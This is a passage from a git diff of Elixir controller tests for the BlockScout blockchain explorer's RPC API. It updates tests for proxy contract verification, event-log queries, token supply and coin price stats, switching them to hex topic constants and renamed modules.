=> "event", + "name" => "OwnershipRenounced", + "inputs" => [%{"type" => "address", "name" => "previousOwner", "indexed" => true}], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipTransferred", + "inputs" => [ + %{"type" => "address", "name" => "previousOwner", "indexed" => true}, + %{"type" => "address", "name" => "newOwner", "indexed" => true} + ], + "anonymous" => false + } + ] + @implementation_abi [ + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + test "verify", %{conn: conn, params: params} do + proxy_contract_address = insert(:contract_address, contract_code: "0xDEADBEEF5c60da1bDEADBEEF") + + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + + implementation_contract_address = insert(:contract_address) + + insert(:smart_contract, + address_hash: implementation_contract_address.hash, + abi: @implementation_abi, + contract_code_md5: "123" + ) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(basic_implementation: implementation_contract_address.hash) + + %{ + "message" => "OK", + "result" => uid, + "status" => "1" + } = + conn + |> get( + "/api", + Map.merge(params, %{"action" => "verifyproxycontract", "address" => to_string(proxy_contract_address.hash)}) + ) + |> json_response(200) + + :timer.sleep(333) + + result = + "The proxy's (#{to_string(proxy_contract_address.hash)}) implementation contract is found at #{to_string(implementation_contract_address.hash)} and is successfully updated." + + %{ + "message" => "OK", + "result" => ^result, + "status" => "1" + } = + conn + |> get("/api", Map.merge(params, %{"action" => "checkproxyverification", "guid" => uid})) + |> json_response(200) + + assert %Implementation{address_hashes: implementations} = + Implementation + |> where([i], i.proxy_address_hash == ^proxy_contract_address.hash) + |> Repo.one() + + assert implementations == [implementation_contract_address.hash] + end + end + defp listcontracts_schema do resolve_schema(%{ "type" => ["array", "null"], @@ -825,9 +1403,7 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do "ABI" => %{"type" => "string"}, "ContractName" => %{"type" => "string"}, "CompilerVersion" => %{"type" => "string"}, - "OptimizationUsed" => %{"type" => "string"}, - "DecompiledSourceCode" => %{"type" => "string"}, - "DecompilerVersion" => %{"type" => "string"} + "OptimizationUsed" => %{"type" => "string"} } } }) @@ -842,8 +1418,6 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do # "ABI" => %{"type" => "string"}, # "ContractName" => %{"type" => "string"}, # "CompilerVersion" => %{"type" => "string"}, - # "DecompiledSourceCode" => %{"type" => "string"}, - # "DecompilerVersion" => %{"type" => "string"}, # "OptimizationUsed" => %{"type" => "string"} # } # }) @@ -860,44 +1434,4 @@ defmodule BlockScoutWeb.API.RPC.ContractControllerTest do |> put_in(["properties", "result"], result) |> ExJsonSchema.Schema.resolve() end - - def get_implementation do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/eth_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/eth_controller_test.exs index 4dee425a63aa..f8191bac9e95 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/eth_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/eth_controller_test.exs @@ -1,9 +1,15 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do use BlockScoutWeb.ConnCase, async: false - alias Explorer.Counters.{AddressesCounter, AverageBlockTime} + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime} alias Explorer.Repo - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @first_topic_hex_string_2 "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + + @second_topic_hex_string_1 "0x00000000000000000000000098a9dc37d3650b5b30d6c12789b3881ee0b70c16" + @second_topic_hex_string_2 "0x000000000000000000000000e2680fd7cdbb04e9087a647ad4d023ef6c8fb4e2" setup do mocked_json_rpc_named_arguments = [ @@ -13,13 +19,17 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) start_supervised!(AverageBlockTime) - start_supervised!({CoinBalanceOnDemand, [mocked_json_rpc_named_arguments, [name: CoinBalanceOnDemand]]}) - start_supervised!(AddressesCounter) - Application.put_env(:explorer, AverageBlockTime, enabled: true) + Indexer.Fetcher.OnDemand.CoinBalance.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: mocked_json_rpc_named_arguments + ) + + start_supervised!(AddressesCount) + + Application.put_env(:explorer, AverageBlockTime, enabled: true, cache_period: 1_800_000) on_exit(fn -> - Application.put_env(:explorer, AverageBlockTime, enabled: false) + Application.put_env(:explorer, AverageBlockTime, enabled: false, cache_period: 1_800_000) end) :ok @@ -27,6 +37,24 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do defp params(api_params, params), do: Map.put(api_params, "params", params) + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end + + test "handles request without params if possible", %{conn: conn} do + assert response = + conn + |> post("/api/eth-rpc", %{ + "method" => "eth_blockNumber", + "jsonrpc" => "2.0", + "id" => 0 + }) + |> json_response(200) + + assert %{"id" => 0, "jsonrpc" => "2.0", "result" => "0x0"} == response + end + describe "eth_get_logs" do setup do %{ @@ -76,7 +104,14 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do block = insert(:block, number: 0) transaction = insert(:transaction, from_address: address) |> with_block(block) - insert(:log, block: block, address: address, transaction: transaction, data: "0x010101") + + insert(:log, + block: block, + block_number: block.number, + address: address, + transaction: transaction, + data: "0x010101" + ) params = params(api_params, [%{"address" => to_string(address.hash)}]) @@ -94,9 +129,17 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do block = insert(:block, number: 0) transaction = insert(:transaction, from_address: address) |> with_block(block) - insert(:log, block: block, address: address, transaction: transaction, data: "0x010101", first_topic: "0x01") - params = params(api_params, [%{"address" => to_string(address.hash), "topics" => ["0x01"]}]) + insert(:log, + block: block, + block_number: block.number, + address: address, + transaction: transaction, + data: "0x010101", + first_topic: topic(@first_topic_hex_string_1) + ) + + params = params(api_params, [%{"address" => to_string(address.hash), "topics" => [@first_topic_hex_string_1]}]) assert response = conn @@ -112,10 +155,29 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do block = insert(:block, number: 0) transaction = insert(:transaction, from_address: address) |> with_block(block) - insert(:log, address: address, block: block, transaction: transaction, data: "0x010101", first_topic: "0x01") - insert(:log, address: address, block: block, transaction: transaction, data: "0x020202", first_topic: "0x00") - params = params(api_params, [%{"address" => to_string(address.hash), "topics" => [["0x01", "0x00"]]}]) + insert(:log, + address: address, + block: block, + block_number: block.number, + transaction: transaction, + data: "0x010101", + first_topic: topic(@first_topic_hex_string_1) + ) + + insert(:log, + address: address, + block: block, + block_number: block.number, + transaction: transaction, + data: "0x020202", + first_topic: topic(@first_topic_hex_string_2) + ) + + params = + params(api_params, [ + %{"address" => to_string(address.hash), "topics" => [[@first_topic_hex_string_1, @first_topic_hex_string_2]]} + ]) assert response = conn @@ -135,9 +197,16 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do |> with_block(block) inserted_records = - insert_list(2000, :log, block: block, address: contract_address, transaction: transaction, first_topic: "0x01") + insert_list(2000, :log, + block: block, + block_number: block.number, + address: contract_address, + transaction: transaction, + first_topic: topic(@first_topic_hex_string_1) + ) - params = params(api_params, [%{"address" => to_string(contract_address), "topics" => [["0x01"]]}]) + params = + params(api_params, [%{"address" => to_string(contract_address), "topics" => [[@first_topic_hex_string_1]]}]) assert response = conn @@ -146,17 +215,21 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do assert Enum.count(response["result"]) == 1000 - {last_log_index, ""} = Integer.parse(List.last(response["result"])["logIndex"], 16) + "0x" <> hexadecimal_digits = List.last(response["result"])["logIndex"] + {last_log_index, ""} = Integer.parse(hexadecimal_digits, 16) next_page_params = %{ "blockNumber" => Integer.to_string(transaction.block_number, 16), - "transactionIndex" => transaction.index, "logIndex" => Integer.to_string(last_log_index, 16) } new_params = params(api_params, [ - %{"paging_options" => next_page_params, "address" => to_string(contract_address), "topics" => [["0x01"]]} + %{ + "paging_options" => next_page_params, + "address" => to_string(contract_address), + "topics" => [[@first_topic_hex_string_1]] + } ]) assert new_response = @@ -170,7 +243,8 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do assert Enum.all?(inserted_records, fn record -> Enum.any?(all_found_logs, fn found_log -> - {index, ""} = Integer.parse(found_log["logIndex"], 16) + "0x" <> hexadecimal_digits = found_log["logIndex"] + {index, ""} = Integer.parse(hexadecimal_digits, 16) record.index == index end) @@ -191,14 +265,25 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do address: address, transaction: transaction, data: "0x010101", - first_topic: "0x01", - second_topic: "0x02", - block: block + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + block: block, + block_number: block.number ) - insert(:log, block: block, address: address, transaction: transaction, data: "0x020202", first_topic: "0x01") + insert(:log, + block: block, + block_number: block.number, + address: address, + transaction: transaction, + data: "0x020202", + first_topic: topic(@first_topic_hex_string_1) + ) - params = params(api_params, [%{"address" => to_string(address.hash), "topics" => ["0x01", "0x02"]}]) + params = + params(api_params, [ + %{"address" => to_string(address.hash), "topics" => [@first_topic_hex_string_1, @second_topic_hex_string_1]} + ]) assert response = conn @@ -220,21 +305,29 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do address: address, transaction: transaction, data: "0x010101", - first_topic: "0x01", - second_topic: "0x02", - block: block + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + block: block, + block_number: block.number ) insert(:log, address: address, transaction: transaction, data: "0x020202", - first_topic: "0x01", - second_topic: "0x03", - block: block + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_2), + block: block, + block_number: block.number ) - params = params(api_params, [%{"address" => to_string(address.hash), "topics" => ["0x01", ["0x02", "0x03"]]}]) + params = + params(api_params, [ + %{ + "address" => to_string(address.hash), + "topics" => [@first_topic_hex_string_1, [@second_topic_hex_string_1, @second_topic_hex_string_2]] + } + ]) assert response = conn @@ -258,13 +351,37 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do transaction3 = insert(:transaction, from_address: address) |> with_block(block3) transaction4 = insert(:transaction, from_address: address) |> with_block(block4) - insert(:log, address: address, transaction: transaction1, data: "0x010101") + insert(:log, + address: address, + transaction: transaction1, + data: "0x010101", + block: block1, + block_number: block1.number + ) - insert(:log, address: address, transaction: transaction2, data: "0x020202") + insert(:log, + address: address, + transaction: transaction2, + data: "0x020202", + block: block2, + block_number: block2.number + ) - insert(:log, address: address, transaction: transaction3, data: "0x030303") + insert(:log, + address: address, + transaction: transaction3, + data: "0x030303", + block: block3, + block_number: block3.number + ) - insert(:log, address: address, transaction: transaction4, data: "0x040404") + insert(:log, + address: address, + transaction: transaction4, + data: "0x040404", + block: block4, + block_number: block4.number + ) params = params(api_params, [%{"address" => to_string(address.hash), "fromBlock" => 1, "toBlock" => 2}]) @@ -288,11 +405,29 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do transaction2 = insert(:transaction, from_address: address) |> with_block(block2) transaction3 = insert(:transaction, from_address: address) |> with_block(block3) - insert(:log, address: address, transaction: transaction1, data: "0x010101") + insert(:log, + address: address, + transaction: transaction1, + data: "0x010101", + block: block1, + block_number: block1.number + ) - insert(:log, address: address, transaction: transaction2, data: "0x020202") + insert(:log, + address: address, + transaction: transaction2, + data: "0x020202", + block: block2, + block_number: block2.number + ) - insert(:log, address: address, transaction: transaction3, data: "0x030303") + insert(:log, + address: address, + transaction: transaction3, + data: "0x030303", + block: block3, + block_number: block3.number + ) params = params(api_params, [%{"address" => to_string(address.hash), "blockHash" => to_string(block2.hash)}]) @@ -316,11 +451,29 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do transaction2 = insert(:transaction, from_address: address) |> with_block(block2) transaction3 = insert(:transaction, from_address: address) |> with_block(block3) - insert(:log, address: address, transaction: transaction1, data: "0x010101") + insert(:log, + address: address, + transaction: transaction1, + data: "0x010101", + block: block1, + block_number: block1.number + ) - insert(:log, address: address, transaction: transaction2, data: "0x020202") + insert(:log, + address: address, + transaction: transaction2, + data: "0x020202", + block: block2, + block_number: block2.number + ) - insert(:log, address: address, transaction: transaction3, data: "0x030303") + insert(:log, + address: address, + transaction: transaction3, + data: "0x030303", + block: block3, + block_number: block3.number + ) params = params(api_params, [%{"address" => to_string(address.hash), "fromBlock" => "earliest", "toBlock" => "earliest"}]) @@ -345,11 +498,29 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do transaction2 = insert(:transaction, from_address: address) |> with_block(block2) transaction3 = insert(:transaction, from_address: address) |> with_block(block3) - insert(:log, block: block1, address: address, transaction: transaction1, data: "0x010101") + insert(:log, + block: block1, + block_number: block1.number, + address: address, + transaction: transaction1, + data: "0x010101" + ) - insert(:log, block: block2, address: address, transaction: transaction2, data: "0x020202") + insert(:log, + block: block2, + block_number: block2.number, + address: address, + transaction: transaction2, + data: "0x020202" + ) - insert(:log, block: block3, address: address, transaction: transaction3, data: "0x030303") + insert(:log, + block: block3, + block_number: block3.number, + address: address, + transaction: transaction3, + data: "0x030303" + ) changeset = Ecto.Changeset.change(block3, %{consensus: false}) @@ -363,7 +534,50 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do |> post("/api/eth-rpc", params) |> json_response(200) - assert [%{"data" => "0x030303"}] = response["result"] + assert [%{"data" => "0x020202"}] = response["result"] + end + + test "numerical fields are hexadecimals with 0x prefix", + %{conn: conn, api_params: api_params} do + address = insert(:address) + block = insert(:block, number: 0) + transaction = insert(:transaction, from_address: address) |> with_block(block) + + insert(:log, + block: block, + block_number: block.number, + address: address, + transaction: transaction, + data: "0x010101", + first_topic: topic(@first_topic_hex_string_1) + ) + + params = + params(api_params, [ + %{ + "address" => to_string(address.hash), + "topics" => [@first_topic_hex_string_1] + } + ]) + + response = + conn + |> post("/api/eth-rpc", params) + |> json_response(200) + + [result] = response["result"] + + assert result + |> Map.take([ + "address", + "blockHash", + "blockNumber", + "data", + "transactionIndex", + "logIndex", + "transactionHash" + ]) + |> Enum.all?(fn {_, v} -> String.starts_with?(v, "0x") end) end end @@ -400,9 +614,7 @@ defmodule BlockScoutWeb.API.RPC.EthControllerTest do test "with a valid address that has a balance", %{conn: conn, api_params: api_params} do block = insert(:block) - address = insert(:address) - - insert(:fetched_balance, block_number: block.number, address_hash: address.hash, value: 1) + address = insert(:address, fetched_coin_balance: 1, fetched_coin_balance_block_number: block.number) assert response = conn diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/logs_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/logs_controller_test.exs index ec4337eecd84..df82a98a6a1c 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/logs_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/logs_controller_test.exs @@ -4,6 +4,22 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do alias BlockScoutWeb.API.RPC.LogsController alias Explorer.Chain.{Log, Transaction} + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @first_topic_hex_string_2 "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + + @second_topic_hex_string_1 "0x00000000000000000000000098a9dc37d3650b5b30d6c12789b3881ee0b70c16" + @second_topic_hex_string_2 "0x000000000000000000000000e2680fd7cdbb04e9087a647ad4d023ef6c8fb4e2" + + @third_topic_hex_string_1 "0x0000000000000000000000005079fc00f00f30000e0c8c083801cfde000008b6" + + @fourth_topic_hex_string_1 "0x8c9b7729443a4444242342b2ca385a239a5c1d76a88473e1cd2ab0c70dd1b9c7" + @fourth_topic_hex_string_2 "0x232b688786cc0d24a11e07563c1bfa129537cec9385dc5b1fb8f86462977239b" + + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end + describe "getLogs" do test "without fromBlock, toBlock, address, and topic{x}", %{conn: conn} do params = %{ @@ -280,7 +296,13 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do |> insert(to_address: contract_address) |> with_block() - log = insert(:log, address: contract_address, transaction: transaction) + log = + insert(:log, + address: contract_address, + transaction: transaction, + block: block, + block_number: transaction.block_number + ) params = %{ "module" => "logs", @@ -334,8 +356,19 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do |> insert(to_address: contract_address) |> with_block(second_block) - insert(:log, address: contract_address, transaction: transaction_block1) - insert(:log, address: contract_address, transaction: transaction_block2) + insert(:log, + address: contract_address, + transaction: transaction_block1, + block: transaction_block1.block, + block_number: transaction_block1.block_number + ) + + insert(:log, + address: contract_address, + transaction: transaction_block2, + block: transaction_block2.block, + block_number: transaction_block2.block_number + ) params = %{ "module" => "logs", @@ -378,8 +411,19 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do |> insert(to_address: contract_address) |> with_block(second_block) - insert(:log, address: contract_address, transaction: transaction_block1) - insert(:log, address: contract_address, transaction: transaction_block2) + insert(:log, + address: contract_address, + transaction: transaction_block1, + block: transaction_block1.block, + block_number: transaction_block1.block_number + ) + + insert(:log, + address: contract_address, + transaction: transaction_block2, + block: transaction_block2.block, + block_number: transaction_block2.block_number + ) params = %{ "module" => "logs", @@ -416,13 +460,17 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some other topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_2) ] log1 = insert(:log, log1_details) @@ -474,15 +522,19 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some other topic", - second_topic: "some other second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2) ] log1 = insert(:log, log1_details) @@ -523,15 +575,19 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some other topic", - second_topic: "some other second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2) ] log1 = insert(:log, log1_details) @@ -571,19 +627,23 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic", - third_topic: "some third topic", - fourth_topic: "some fourth topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + fourth_topic: topic(@fourth_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic", - third_topic: "some third topic", - fourth_topic: "some other fourth topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + fourth_topic: topic(@fourth_topic_hex_string_2) ] log1 = insert(:log, log1_details) @@ -773,7 +833,12 @@ defmodule BlockScoutWeb.API.RPC.LogsControllerTest do third_topic: third_topic, fourth_topic: fourth_topic }) do - [first_topic, second_topic, third_topic, fourth_topic] + [ + first_topic && Explorer.Chain.Hash.to_string(first_topic), + second_topic && Explorer.Chain.Hash.to_string(second_topic), + third_topic && Explorer.Chain.Hash.to_string(third_topic), + fourth_topic && Explorer.Chain.Hash.to_string(fourth_topic) + ] end defp integer_to_hex(integer), do: "0x" <> String.downcase(Integer.to_string(integer, 16)) diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/rpc_translator_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/rpc_translator_test.exs index a5b23b25323b..bf410d62a14a 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/rpc_translator_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/rpc_translator_test.exs @@ -28,7 +28,7 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslatorTest do result = RPCTranslator.call(conn, %{}) assert result.halted assert response = json_response(result, 400) - assert response["message"] =~ "Unknown action" + assert response["message"] =~ "Unknown module" assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] @@ -78,5 +78,12 @@ defmodule BlockScoutWeb.API.RPC.RPCTranslatorTest do result = RPCTranslator.call(conn, %{"test" => {TestController, []}}) assert json_response(result, 200) == %{} end + + test "allow multiple '/' before api", %{conn: conn} do + conn = %Conn{conn | params: %{"module" => "test", "action" => "test_action"}, request_path: "//api"} + + result = RPCTranslator.call(conn, %{"test" => {TestController, []}}) + assert json_response(result, 200) == %{} + end end end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/stats_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/stats_controller_test.exs index e92ba9b7abd0..c6c0822ea13e 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/stats_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/stats_controller_test.exs @@ -3,9 +3,9 @@ defmodule BlockScoutWeb.API.RPC.StatsControllerTest do import Mox - alias Explorer.ExchangeRates - alias Explorer.ExchangeRates.Token - alias Explorer.ExchangeRates.Source.TestSource + alias Explorer.Market.Fetcher.Coin + alias Explorer.Market.Token + alias Explorer.Market.Source.TestSource describe "tokensupply" do test "with missing contract address", %{conn: conn} do @@ -57,7 +57,7 @@ defmodule BlockScoutWeb.API.RPC.StatsControllerTest do |> get("/api", params) |> json_response(200) - assert response["message"] =~ "contract address not found" + assert response["message"] =~ "Contract address not found" assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] @@ -83,6 +83,68 @@ defmodule BlockScoutWeb.API.RPC.StatsControllerTest do assert response["message"] == "OK" assert :ok = ExJsonSchema.Validator.validate(tokensupply_schema(), response) end + + test "with valid contract address and cmc format", %{conn: conn} do + token = insert(:token, total_supply: 110_052_089_716_627_912_057_222_572) + + params = %{ + "module" => "stats", + "action" => "tokensupply", + "contractaddress" => to_string(token.contract_address_hash), + "cmc" => "true" + } + + assert response = + conn + |> get("/api", params) + |> text_response(200) + + assert response == "110052089.716627912" + end + + test "with custom decimals and cmc format", %{conn: conn} do + token = + insert(:token, + total_supply: 1_234_567_890, + decimals: 6 + ) + + params = %{ + "module" => "stats", + "action" => "tokensupply", + "contractaddress" => to_string(token.contract_address_hash), + "cmc" => "true" + } + + assert response = + conn + |> get("/api", params) + |> text_response(200) + + assert response == "1234.567890000" + end + end + + test "with null decimals and cmc format", %{conn: conn} do + token = + insert(:token, + total_supply: 1_234_567_890, + decimals: nil + ) + + params = %{ + "module" => "stats", + "action" => "tokensupply", + "contractaddress" => to_string(token.contract_address_hash), + "cmc" => "true" + } + + assert response = + conn + |> get("/api", params) + |> text_response(200) + + assert response == "1234567890.000000000" end describe "ethsupplyexchange" do @@ -145,18 +207,20 @@ defmodule BlockScoutWeb.API.RPC.StatsControllerTest do setup do # Use TestSource mock for this test set - configuration = Application.get_env(:explorer, Explorer.ExchangeRates) - Application.put_env(:explorer, Explorer.ExchangeRates, source: TestSource) - Application.put_env(:explorer, Explorer.ExchangeRates, table_name: :rates) - Application.put_env(:explorer, Explorer.ExchangeRates, enabled: true) + coin_fetcher_configuration = Application.get_env(:explorer, Coin) + market_source_configuration = Application.get_env(:explorer, Explorer.Market.Source) - ExchangeRates.init([]) + Application.put_env(:explorer, Explorer.Market.Source, native_coin_source: TestSource) + Application.put_env(:explorer, Coin, Keyword.merge(coin_fetcher_configuration, table_name: :rates, enabled: true)) - :ok + Coin.init([]) on_exit(fn -> - Application.put_env(:explorer, Explorer.ExchangeRates, configuration) + Application.put_env(:explorer, Coin, coin_fetcher_configuration) + Application.put_env(:explorer, Explorer.Market.Source, market_source_configuration) end) + + :ok end test "returns the configured coin's price information", %{conn: conn} do @@ -166,16 +230,17 @@ defmodule BlockScoutWeb.API.RPC.StatsControllerTest do available_supply: Decimal.new("1000000.0"), total_supply: Decimal.new("1000000.0"), btc_value: Decimal.new("1.000"), - id: "test", last_updated: DateTime.utc_now(), - market_cap_usd: Decimal.new("1000000.0"), + market_cap: Decimal.new("1000000.0"), + tvl: Decimal.new("2000000.0"), name: "test", symbol: symbol, - usd_value: Decimal.new("1.0"), - volume_24h_usd: Decimal.new("1000.0") + fiat_value: Decimal.new("1.0"), + volume_24h: Decimal.new("1000.0"), + image_url: nil } - ExchangeRates.handle_info({nil, {:ok, [eth]}}, %{}) + Coin.handle_info({nil, {{:ok, eth}, false}}, %{}) params = %{ "module" => "stats", @@ -187,7 +252,7 @@ defmodule BlockScoutWeb.API.RPC.StatsControllerTest do expected_result = %{ "coin_btc" => to_string(eth.btc_value), "coin_btc_timestamp" => expected_timestamp, - "coin_usd" => to_string(eth.usd_value), + "coin_usd" => to_string(eth.fiat_value), "coin_usd_timestamp" => expected_timestamp } diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/token_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/token_controller_test.exs index f33dff971177..2257fe1e96b2 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/token_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/token_controller_test.exs @@ -49,7 +49,7 @@ defmodule BlockScoutWeb.API.RPC.TokenControllerTest do |> get("/api", params) |> json_response(200) - assert response["message"] =~ "contract address not found" + assert response["message"] =~ "Contract address not found" assert response["status"] == "0" assert Map.has_key?(response, "result") refute response["result"] diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/transaction_controller_test.exs index d46071d215e8..0ecd2fd52a2d 100644 --- a/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/transaction_controller_test.exs +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/rpc/transaction_controller_test.exs @@ -5,6 +5,16 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do @moduletag capture_log: true + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @second_topic_hex_string_1 "0x00000000000000000000000098a9dc37d3650b5b30d6c12789b3881ee0b70c16" + + setup :verify_on_exit! + + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end + describe "gettxreceiptstatus" do test "with missing txhash", %{conn: conn} do params = %{ @@ -412,8 +422,8 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do insert(:log, address: address, transaction: transaction, - first_topic: "first topic", - second_topic: "second topic", + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), block: block, block_number: block.number ) @@ -489,8 +499,8 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do insert(:log, address: address, transaction: transaction, - first_topic: "first topic", - second_topic: "second topic", + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), block: block, block_number: block.number ) @@ -518,7 +528,7 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do %{ "address" => "#{address.hash}", "data" => "#{log.data}", - "topics" => ["first topic", "second topic", nil, nil], + "topics" => [@first_topic_hex_string_1, @second_topic_hex_string_1, nil, nil], "index" => "#{log.index}" } ], @@ -650,11 +660,73 @@ defmodule BlockScoutWeb.API.RPC.TransactionControllerTest do insert(:address) + # Error("No credit of that type") + hex_reason = + 